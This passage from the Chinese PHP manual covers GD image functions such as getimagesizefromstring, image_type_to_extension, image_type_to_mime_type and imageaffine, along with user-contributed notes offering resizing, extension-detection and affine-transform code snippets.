     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com 30-Mar-2005 06:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW   = 200;
$cropH   = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net 15-Mar-2005 09:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com 12-Feb-2005 08:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
diablx at hotmail dot com 25-May-2004 02:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
    // Some configuration variables !
    $maxWidth = 90;
    $maxHeight = 90;
    $maxCols = 8;
    $webDir = "https://localhost/images/";
    $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

    $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

            $xRatio = $maxWidth / $width;
            $yRatio = $maxHeight / $height;

            if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
              $newWidth = $width;
              $newHeight = $height;
            }
            else if (($xRatio * $height) < $maxHeight) {
              $newHeight = ceil($xRatio * $height);
              $newWidth = $maxWidth;
            }
            else {
              $newWidth = ceil($yRatio * $width);
              $newHeight = $maxHeight;
            }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>


从字符串中获取图像尺寸信息

  • ? getimagesize
  • image_type_to_extension ?
  • PHP Manual
  • GD 和图像处理 函数
  • 从字符串中获取图像尺寸信息

getimagesizefromstring

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

getimagesizefromstring — 从字符串中获取图像尺寸信息

说明

getimagesizefromstring(string $string, array &$image_info = null): array|false

同 getimagesize() 函数，区别是 getimagesizefromstring() 的第一个参数是接受字符串而不是文件名。

关于本函数如何工作的更多信息请参见 getimagesize() 函数。

参数

string

图像数据的字符串表示。

image_info

参见 getimagesize()。

返回值

参见 getimagesize()。

示例

Example #1 getimagesizefromstring() 示例

<?php
$img = '/path/to/test.png';

// 以文件方式打开
$size_info1 = getimagesize($img);

// 以字符串格式打开
$data = file_get_contents($img);
$size_info2 = getimagesizefromstring($data);
?>

参见

  • getimagesize() - 取得图像大小

User Contributed Notes

sarah at anigel dot net 10-Feb-2014 08:46
Just a quick comment on the solution by imageman for versions < 5.4 you will need to enable allow_url_fopen in order to use the data wrapper.
imageman 24-Dec-2013 07:10
getimagesizefromstring function for < 5.4

<?php
   if (!function_exists('getimagesizefromstring')) {
      function getimagesizefromstring($string_data)
      {
         $uri = 'data://application/octet-stream;base64,'  . base64_encode($string_data);
         return getimagesize($uri);
      }
}
?>


取得图像类型的文件后缀

  • ? getimagesizefromstring
  • image_type_to_mime_type ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得图像类型的文件后缀

image_type_to_extension

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

image_type_to_extension — 取得图像类型的文件后缀

说明

image_type_to_extension(int $image_type, bool $include_dot = true): string|false

根据给定的常量 IMAGETYPE_XXX 返回后缀名。

参数

image_type

IMAGETYPE_XXX 系列常量之一。

include_dot

是否在后缀名前加一个点。默认是 true。

返回值

根据指定的图像类型返回对应的后缀名， 或者在失败时返回 false。

示例

Example #1 image_type_to_extension() 示例

<?php
// 创建图像实例
$im = imagecreatetruecolor(100, 100);

// 保存图像
imagepng($im, './test' . image_type_to_extension(IMAGETYPE_PNG));
imagedestroy($im);
?>

注释

Note:

此函数不需要 GD 图象库。

User Contributed Notes

twitter.com/jonathansampson 23-Feb-2022 03:42
If you would like to get the extension from a filename (string), the following should save you any frustration with exploding the string into parts (be sure to read the documentation warnings for pathinfo):

<?php

  $filename = "wallpaper.jpg";
  $extension = pathinfo( $filename, PATHINFO_EXTENSION );

  echo $extension; // "jpg"

?>
ergunadem5508 at gmail dot com 15-Oct-2021 07:02
// if you just want to find the format from the file path name without creating any images

// image path name
$image_name = "image name.png";

// After the last point is naturally the format.
$dots = explode(".",$image_name);

// We assign the last data of $dots to the variable $type.
$type = $dots[(count($dots)-1)];

// The output will be written without a dot.
echo "without dot : ".$type;

//for dotted
$type = ".".$type;
echo "dotted : ".$type;
bimal at sanjaal dot com 06-Feb-2012 10:06
<?php
/**
* Returns a COMMON extension with a dot
*/
function gd_extension($full_path_to_image='')
{
    $extension = 'null';
    if($image_type = exif_imagetype($full_path_to_image))
    {
        $extension = image_type_to_extension($image_type, false);
    }
    $known_replacements = array(
        'jpeg' => 'jpg',
        'tiff' => 'tif',
    );
    $extension = '.'.str_replace(array_keys($known_replacements), array_values($known_replacements), $extension);

    return $extension;
}

# Testing
$images = glob('*');
foreach($images as $i => $image)
{
    $extension = gd_extension($image);
    echo "\r\n", $image, ': ', $extension;
}
?>

Sometimes, the extension is not as I expected, until I wrote this piece.
mew at world dot org 07-Dec-2007 11:26
There is no need to over complicated folks.

<?php

if ( !function_exists('image_type_to_extension') ) {

    function image_type_to_extension ($type, $dot = true)
    {
        $e = array ( 1 => 'gif', 'jpeg', 'png', 'swf', 'psd', 'bmp'
            'tiff', 'tiff', 'jpc', 'jp2', 'jpf', 'jb2', 'swc',
            'aiff', 'wbmp', 'xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($e[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return ($dot ? '.' : '') . $e[$type];
    }

}

if ( !function_exists('image_type_to_mime_type') ) {

    function image_type_to_mime_type ($type)
    {
        $m = array ( 1 => 'image/gif', 'image/jpeg', 'image/png',
            'application/x-shockwave-flash', 'image/psd', 'image/bmp',
            'image/tiff', 'image/tiff', 'application/octet-stream',
            'image/jp2', 'application/octet-stream', 'application/octet-stream',
            'application/x-shockwave-flash', 'image/iff', 'image/vnd.wap.wbmp', 'image/xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($m[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return $m[$type];
    }

}

?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 09:10
To: mail at spybreak dot de

I noted  your solution was for mime_type_to_extension which is flawed because the MIME types to extensions are not unique. See my example to consider what I have observed.

This function performs image type or mime type to extension. With limitation it will not attempt to handle duplicated MIME types. NOT DEFINITIVE!
<?php
    if(!function_exists('image_type_to_extension')){

        $extension;

        function image_type_or_mime_type_to_extension($image_type, $include_dot) {
            define ("INVALID_IMAGETYPE", '');

            $extension = INVALID_IMAGETYPE;            /// Default return value for invalid input

            $image_type_identifiers = array (                                                                ### These values correspond to the IMAGETYPE constants
                    array (IMAGETYPE_GIF         => 'gif',     "mime_type" => 'image/gif'),                        ###  1 = GIF
                    array (IMAGETYPE_JPEG        => 'jpg',     "mime_type" => 'image/jpeg'),                        ###  2 = JPG
                    array (IMAGETYPE_PNG        => 'png',     "mime_type" => 'image/png'),                        ###  3 = PNG
                    array (IMAGETYPE_SWF        => 'swf',     "mime_type" => 'application/x-shockwave-flash'),    ###  4 = SWF  // A. Duplicated MIME type
                    array (IMAGETYPE_PSD        => 'psd',     "mime_type" => 'image/psd'),                        ###  5 = PSD
                    array (IMAGETYPE_BMP        => 'bmp',     "mime_type" => 'image/bmp'),                        ###  6 = BMP
                    array (IMAGETYPE_TIFF_II    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  7 = TIFF (intel byte order)
                    array (IMAGETYPE_TIFF_MM    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  8 = TIFF (motorola byte order)
                    array (IMAGETYPE_JPC        => 'jpc',     "mime_type" => 'application/octet-stream'),            ###  9 = JPC  // B. Duplicated MIME type
                    array (IMAGETYPE_JP2        => 'jp2',     "mime_type" => 'image/jp2'),                        ### 10 = JP2
                    array (IMAGETYPE_JPX        => 'jpf',     "mime_type" => 'application/octet-stream'),            ### 11 = JPX  // B. Duplicated MIME type
                    array (IMAGETYPE_JB2        => 'jb2',     "mime_type" => 'application/octet-stream'),            ### 12 = JB2  // B. Duplicated MIME type
                    array (IMAGETYPE_SWC        => 'swc',     "mime_type" => 'application/x-shockwave-flash'),    ### 13 = SWC  // A. Duplicated MIME type
                    array (IMAGETYPE_IFF        => 'aiff',     "mime_type" => 'image/iff'),                        ### 14 = IFF
                    array (IMAGETYPE_WBMP        => 'wbmp',     "mime_type" => 'image/vnd.wap.wbmp'),                ### 15 = WBMP
                    array (IMAGETYPE_XBM        => 'xbm',     "mime_type" => 'image/xbm')                            ### 16 = XBM
            );

            if((is_int($image_type)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){
                $extension = $image_type_identifiers[$image_type-1]; // -1 because $image_type_identifiers array starts at [0]
                $extension = $extension[$image_type];
            }
            elseif(is_string($image_type) AND (($image_type != 'application/x-shockwave-flash') OR ($image_type != 'application/octet-stream'))){

                $extension =  match_mime_type_to_extension($image_type, $image_type_identifiers);
            }
            else
            {
                $extension = INVALID_IMAGETYPE;
            }

               if(is_bool($include_dot)){

                   if((false != $include_dot) AND (INVALID_IMAGETYPE != $extension)){
                       $extension = '.' . $extension;
                   }
               }
               else
               {
                   $extension = INVALID_IMAGETYPE;
               }

           return $extension;

           }
    }

    function match_mime_type_to_extension($image_type, $image_type_identifiers){
        // Return from loop on a match
        foreach($image_type_identifiers as $_key_outer_loop => $_val_outer_loop){
            foreach($_val_outer_loop as $_key => $_val){
                if(is_int ($_key)){             // Keep record of extension for mime check
                    $extension = $_val;
                }
                if($_key == 'mime_type'){
                    if($_val === $image_type){    // Found match no need to continue looping
                        return $extension;        ### Return
                    }
                }
            }
        }
        // Compared all values without match
        return $extension = INVALID_IMAGETYPE;
    }

    $extension = image_type_or_mime_type_to_extension($image_type, $include_dot);
     return $extension;
}
?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 07:55
2006-09-29

A few notes about some contributions on this page.

1. It seemed to me that on the face it of all of the offerings to emulate "image_type_to_extension" function fell short of the mark in one way or another (See my comments below). That's why I wrote my own and submitted to this page below. In respect of my work any comments, bugs noted or improvements would be gratefully received.

2. Avoid using the Switch statement in an unconventional method to "Break" (I note the use of the return statement!). Also even if it does nothing at the inception of our code - Still put in the default case (It lets others realise that a default is not required or at worst forgotton.

3. In an environment that is under your control the risk of an error by determining the content by its extension or MIME type may seem an attractive solution to a problem. However, in the real world there's no guarantee that a MIME type or file extension is correct for it's associated file.

Consider using functions to get the image type:
      getimagesize or (This is available without GD)
      exif_imagetype

4. There's more to coding than just putting something together to do a job!!! But whatever is done is worthwhile - Hence expletives have no place in this forum!!

5. The idea from "oridan at hotmail dot com" is a very slick idea. I will be taking a closer look at this for my own project.
aleksandrs dot bogdanovs at gmail dot com 23-Dec-2005 05:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.


取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型

  • ? image_type_to_extension
  • image2wbmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型

image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

image_type_to_mime_type — 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型

说明

image_type_to_mime_type(int $image_type): string

image_type_to_mime_type() 函数将确定 IMAGETYPE 常量的 MIME 类型。

参数

image_type

IMAGETYPE_XXX 常量之一。

返回值

返回值如下：

返回值常量
image_type | 返回值
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II（小端字节顺序） | image/tiff
IMAGETYPE_TIFF_MM（大端字节顺序） | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm
IMAGETYPE_ICO | image/vnd.microsoft.icon
IMAGETYPE_WEBP | image/webp
IMAGETYPE_AVIF | image/avif

示例

Example #1 image_type_to_mime_type() 示例

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

注释

Note:

此函数不需要 GD 图象库。

参见

  • getimagesize() - 取得图像大小
  • exif_imagetype() - 判断一个图像的类型
  • exif_read_data() - 从一个图片文件中读取 EXIF 头信息
  • exif_thumbnail() - 检索图像的嵌入式缩略图

User Contributed Notes

slegersjohn at gmail dot com 06-Mar-2014 04:39
If you are working with Images only and you need mime type (e.g. for headers), then this is a fast and reliable technique:

<?php
$file = 'path/to/image.jpg';
$image_mime = image_type_to_mime_type(exif_imagetype($file));
?>

It will output true image mime type even if you rename your image file.
kissrat at gmail dot com 10-Oct-2013 05:06
Map the image type enum to file extension:
$extensions = array(
    IMAGETYPE_GIF => "gif",
    IMAGETYPE_JPEG => "jpg",
    IMAGETYPE_PNG => "png",
    IMAGETYPE_SWF => "swf",
    IMAGETYPE_PSD => "psd",
    IMAGETYPE_BMP => "bmp",
    IMAGETYPE_TIFF_II => "tiff",
    IMAGETYPE_TIFF_MM => "tiff",
    IMAGETYPE_JPC => "jpc",
    IMAGETYPE_JP2 => "jp2",
    IMAGETYPE_JPX => "jpx",
    IMAGETYPE_JB2 => "jb2",
    IMAGETYPE_SWC => "swc",
    IMAGETYPE_IFF => "iff",
    IMAGETYPE_WBMP => "wbmp",
    IMAGETYPE_XBM => "xbm",
    IMAGETYPE_ICO => "ico"
);
benshelock at gmail dot com 09-Mar-2009 11:08
I was looking to detect the format of images, Im not sure if this is the best way but it works for me.

<?php
$filename = 'http://static.php.net/www.php.net/images/php.gif';
$size = getimagesize($filename);

switch ($size['mime']) {
    case "image/gif":
        echo "Image is a gif";
        break;
    case "image/jpeg":
        echo "Image is a jpeg";
        break;
    case "image/png":
        echo "Image is a png";
        break;
    case "image/bmp":
        echo "Image is a bmp";
        break;
}
?>


输出图象到浏览器或文件。

  • ? image_type_to_mime_type
  • imageaffine ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出图象到浏览器或文件。

image2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

image2wbmp — 输出图象到浏览器或文件。

Warning

本函数已自 PHP 7.3.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

image2wbmp(resource $image, string $filename = ?, int $foreground = ?): bool

image2wbmp() 输出或保存为指定 image 的 WBMP 版本。

参数

image

图像资源，由某个图像创建函数返回，比如 imagecreatetruecolor()。

filename

保存文件的路径。如果没有指定，将直接输出原始图片流。

foreground

使用此参数从 imagecolorallocate() 获得的标识符来设置前景色。默认前景色为黑色。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

示例

Example #1 image2wbmp() 示例

<?php
$file = 'php.png';
$image = imagecreatefrompng($file);

header('Content-Type: ' . image_type_to_mime_type(IMAGETYPE_WBMP));
image2wbmp($image); // 直接输出流
imagedestroy($image);
?>

参见

  • imagewbmp() - 输出图象到浏览器或文件。

User Contributed Notes

There are no user contributed notes for this page.


返回经过仿射变换后的图像，剪切区域可选

  • ? image2wbmp
  • imageaffinematrixconcat ?
  • PHP Manual
  • GD 和图像处理 函数
  • 返回经过仿射变换后的图像，剪切区域可选

imageaffine

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffine — 返回经过仿射变换后的图像，剪切区域可选

说明

imageaffine(GdImage $image, array $affine, ?array $clip = null): GdImage|false

Warning

本函数还未编写文档，仅有参数列表。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

affine

数组，其中键为 0 至 5 的数字。

clip

数组，其中键为 "x"，"y"，"width" 和 "height"；或者 null。

返回值

成功则返回仿射变换后的图像对象， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | clip 现在允许为 null。
8.0.0 | 成功时此函数现在返回 GDImage 实例；之前返回 resource。

User Contributed Notes

der at herrstrietzel dot de 06-Mar-2021 01:43
Might be an alternative or workaround for imagecopyresampled as imageaffine supports more sophisticated interpolation such as IMG_MITCHELL.

// create image resource
$img_path = 'test.jpg';
$img = imagecreatefromstring(file_get_contents($img_path));
// scale image to 50% with Mitchell interpolation
$scale = 0.5;
imagesetinterpolation($img, IMG_MITCHELL);
$img_scaled = imageaffine($img, [0.5, 0, 0, 0.5, 0, 0]);
// save image
$output = 'test_scaledAffine.png';
imagepng($img_scaled, $output, 9);
echo '<img src="'.$output.'" width="300">';

Helper function example:

function scaleImgAffine($img, $newWidth, $resized_file='', $interpolation=IMG_MITCHELL)
{
    // create img resource if $img is file path
    if(!is_resource($img)){
        $img = imagecreatefromstring(file_get_contents($img));
    }
    // get original img dimensions
    $w = imagesx($img);
    $h = imagesy($img);

    /**
    * recommended interpolation method is 'IMG_MITCHELL'
    * providing the overall best precision and
    * compression for most image types
    * in particular for pngs with transparency suffering
    * from artifacted downsampling result
    */
    imagesetinterpolation($img, $interpolation);
    /*
    * imageaffine will scale dimensions in an anamorphic way -
    * even with square based images:
    * 1200x1200 will get something like 1199x1200
    * - improvements are very welcome
    * Workaround: Adjusting both the original width and the clip parameter
    * by adding 1px solved the issue for me
    */
    $scale = ($newWidth+1) / $w;
    $newHeight = floor($h*$scale);

    // scale by affine matrix
    $resized_affine =
    imageaffine(
        $img,
        [$scale, 0, 0, $scale, 0, 0],
        ['x' => 0, 'y' => 0, 'width' => $w, 'height' => $h-1]
    );
    /*
    * 'clip' parameter might be misleading as it expects
    * the original and not the final/transformed width
    */

    // save to file or return resource
    if($resized_file){
        $file_type = pathinfo($resized_file, PATHINFO_EXTENSION );
        switch($file_type){
            case 'jpg':
            case 'jpeg':
                // flatten transparency for jpgs
                $tmp_img = imagecreatetruecolor($newWidth, $newHeight );
                $bg = imagecolorallocate($tmp_img, 255,255,255);
                imagefill($tmp_img, 0, 0, $bg);
                imagesavealpha($tmp_img, false);
                imagealphablending($tmp_img, true);
                imagecopy($tmp_img, $resized_affine, 0, 0, 0, 0, $newWidth, $newHeight );
                imagejpeg($tmp_img, $resized_file, 85);
                break;
            case 'png':
                imagepng($resized_affine, $resized_file, 9);
                break;
        }
    }else{
        return $resized_affine;
    }
}

$img_scaled_affine = scaleImgAffine($img_path, 400, 'test_scaledAffine.jpg', true);

IMG_MITCHELL is in particular advanced when it comes to scaling png24 with transparency in GDlib environments (... actually png31 due to gds alpha 7bit channel?). Most commonly you'll experience bad compression using png due to imperceptible artifacts after resizing.

Hopefully we'll see an implementation of more advanced interpolation methods in basic GD resizing functions like imagecopyresized or imagescale.
adri at sternschanze dot net 17-Feb-2018 01:55
CORRECTION:

The AFFINE ARRAY, is defined like,

         $affine = [ a0, b0, a1, b1, a2, b2 ];
abc at ed48 dot com 22-Dec-2013 05:52
Here is an example, which performs a specific processing, every time it is executed:

<?php

if (!function_exists('imageaffine'))
{
echo 'FUNCTION NOT DEFINED IN THIS VERSION OF PHP';
exit;
}

$base_img = 'affine.png';

$tgt_img1 = 'triangle1.png';

$tgt_img2 = 'triangle2.png';

$arr_affine = [
[ 1, 0, 0, 1, 0, 0 ],
[ 1, 0, 0, 1, 150, 0 ],
[ 1.2, 0, 0, 0.6, 0, 0 ],
[ -1.2, 0, 0, -0.6, 0, 0 ],
[ 1, 2, 0, 1, 0, 0 ],
[ 2, 1, 0, 1, 0, 0 ],
[ cos(15), sin(15), -sin(15), cos(15), 0, 0 ],
[ cos(15), -sin(15), sin(15), cos(15), 0, 0 ]
];

$RSR_base = imagecreatetruecolor(400, 300);
$w = imagesx($RSR_base);
$h = imagesy($RSR_base);

$arr_clip = [ 'x' => 0, 'y' => 0, 'width' => $w, 'height' => $h ];

$fillcolor = imagecolorallocate($RSR_base, 0, 0, 0);

imagefill($RSR_base, 10,10, $fillcolor);

imagepng($RSR_base, $base_img);

$drawcolor = imagecolorallocate($RSR_base, 255, 0, 0);

$triangle = [ 50, 50, 50, 150, 200, 150 ];
$points = 3;

imageantialias($RSR_base, 1);

$drawtriangle = imagefilledpolygon($RSR_base, $triangle, $points, $drawcolor);

imagepng($RSR_base, $tgt_img1);

$select = mt_rand(0, 7);

$RSRaff2 = imageaffine($RSR_base, $arr_affine[$select], $arr_clip);

imagepng($RSRaff2, $tgt_img2, 9);

?>

SUPPORT IMAGE<br><br>
<img src="<?php echo $base_img; ?>" alt="*" /><br><br>

BASE IMAGE<br><br>
<img src="<?php echo $tgt_img1; ?>" alt="*" /><br><br>

RESULT IMAGE<br><br>
<img src="<?php echo $tgt_img2; ?>" alt="*" />
abc at ed48 dot com 22-Dec-2013 05:17
correcting:

c ) SCALE,

         $affine = [ M, 0, N, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.
abc at ed48 dot com 22-Dec-2013 04:10
AFFINE is a geometric transformation operation involving MATRICES, covering both, 2D and 3D environment.
Transformations are often used in linear algebra and computer graphics.

In geometric transformations of images, the pixel coordinate is mapped.

This means that, each pixel is localized by two coordinates, in the rectangular domain of the image.
Without going into more details about pixel mapping, let's get to what really matters: the AFFINE transformations.
There are several classes of pixel mapping, one is called "affine".
Affine transformations include: scaling, rotation, shearing and translation.

PHP 5.5.0+, like "libart", uses ARRAYS of six floating-point elements to do the job.

The AFFINE ARRAY, is defined like,

         $affine = [ a0, a1, b0, b1, a2, b2 ];

         where,
         a0, a1, b0, b1, a2, b2 are floating-point values.

         represented by equations,

         x' = a0x + a1y + a2

         y' = b0x + b1y + b2

a ) IDENTITY, no change made in the path of points,

         $affine = [ 1, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = 0x + 1y = 0 = y

b ) TRANSLATION,

         $affine = [ 1, 0, 0, 1, H, V ];

         equations remapping,

         x' = 1x + 0y + H = x + H

         y' = 0x + 1y = V = y + V

         Each point is moved H units horizontaly and V units verticaly.

c ) SCALE,

         $affine = [ i, 0, j, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.

d ) SHEARING, parallel to x axis,

         $affine = [ 1, K, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + Ky + 0 = x + Ky

         y' = 0x + 1y = 0 = y

    SHEARING, parallel to y axis,

         $affine = [ K, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = Kx + 1y = 0 = y + Kx

e ) ROTATION, clockwise,

         $affine = [ cos ?, sin ?, -sin ?, cos ?, 0, 0 ];

         equations remapping,

         x' =  x cos ? + y sin ? + 0 = x cos ? + y sin ?

         y' = -x sin ? + y cos ? = 0 = y cos ? - x sin ?

    ROTATION, conterclockwise,

         $affine = [ cos ?, -sin ?, sin ?, cos ?, 0, 0 ];

         equations remapping,

         x' =  x cos ? - y sin ? + 0 = x cos ? - y sin ?

         y' = x sin ? + y cos ? = 0 = y sin ? - x cos ?


Concatenate two affine transformation matrices

  • ? imageaffine
  • imageaffinematrixget ?
  • PHP Manual
  • GD 和图像处理 函数
  • Concatenate two affine transformation matrices

imageaffinematrixconcat

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixconcat — Concatenate two affine transformation matrices

说明

imageaffinematrixconcat(array $matrix1, array $matrix2): array|false

Returns the concatenation of two affine transformation matrices, what is useful if multiple transformations should be applied to the same image in one go.

参数

matrix1

An affine transformation matrix (an array with keys 0 to 5 and float values).

matrix2

An affine transformation matrix (an array with keys 0 to 5 and float values).

返回值

An affine transformation matrix (an array with keys 0 to 5 and float values) 或者在失败时返回 false.

示例

Example #1 imageaffinematrixconcat() example

<?php
$m1 = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' => 2, 'y' => 3));
$m2 = imageaffinematrixget(IMG_AFFINE_SCALE, array('x' => 4, 'y' => 5));
$matrix = imageaffinematrixconcat($m1, $m2);
print_r($matrix);
?>

以上示例会输出：

Array
(
    [0] => 4
    [1] => 0
    [2] => 0
    [3] => 5
    [4] => 8
    [5] => 15
)

参见

  • imageaffine() - 返回经过仿射变换后的图像，剪切区域可选
  • imageaffinematrixget() - Get an affine transformation matrix

User Contributed Notes

There are no user contributed notes for this page.


Get an affine transformation matrix

  • ? imageaffinematrixconcat
  • imagealphablending ?
  • PHP Manual
  • GD 和图像处理 函数
  • Get an affine transformation matrix

imageaffinematrixget

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixget — Get an affine transformation matrix

说明

imageaffinematrixget(int $type, array|float $options): array|false

Returns an affine transformation matrix.

参数

type

One of the IMG_AFFINE_* constants.

options

If type is IMG_AFFINE_TRANSLATE or IMG_AFFINE_SCALE, options has to be an array with keys x and y, both having float values.

If type is IMG_AFFINE_ROTATE, IMG_AFFINE_SHEAR_HORIZONTAL or IMG_AFFINE_SHEAR_VERTICAL, options has to be a float specifying the angle.

返回值

An affine transformation matrix (an array with keys 0 to 5 and float values) 或者在失败时返回 false.

示例

Example #1 imageaffinematrixget() example

<?php
$matrix = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' => 2, 'y' => 3));
print_r($matrix);
?>

以上示例会输出：

Array
(
    [0] => 1
    [1] => 0
    [2] => 0
    [3] => 1
    [4] => 2
    [5] => 3
)

参见

  • imageaffine() - 返回经过仿射变换后的图像，剪切区域可选
  • imageaffinematrixconcat() - Concatenate two affine transformation matrices

User Contributed Notes

There are no user contributed notes for this page.


设定图像的混色模式

  • ? imageaffinematrixget
  • imageantialias ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设定图像的混色模式

imagealphablending

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagealphablending — 设定图像的混色模式

说明

imagealphablending(GdImage $image, bool $enable): bool

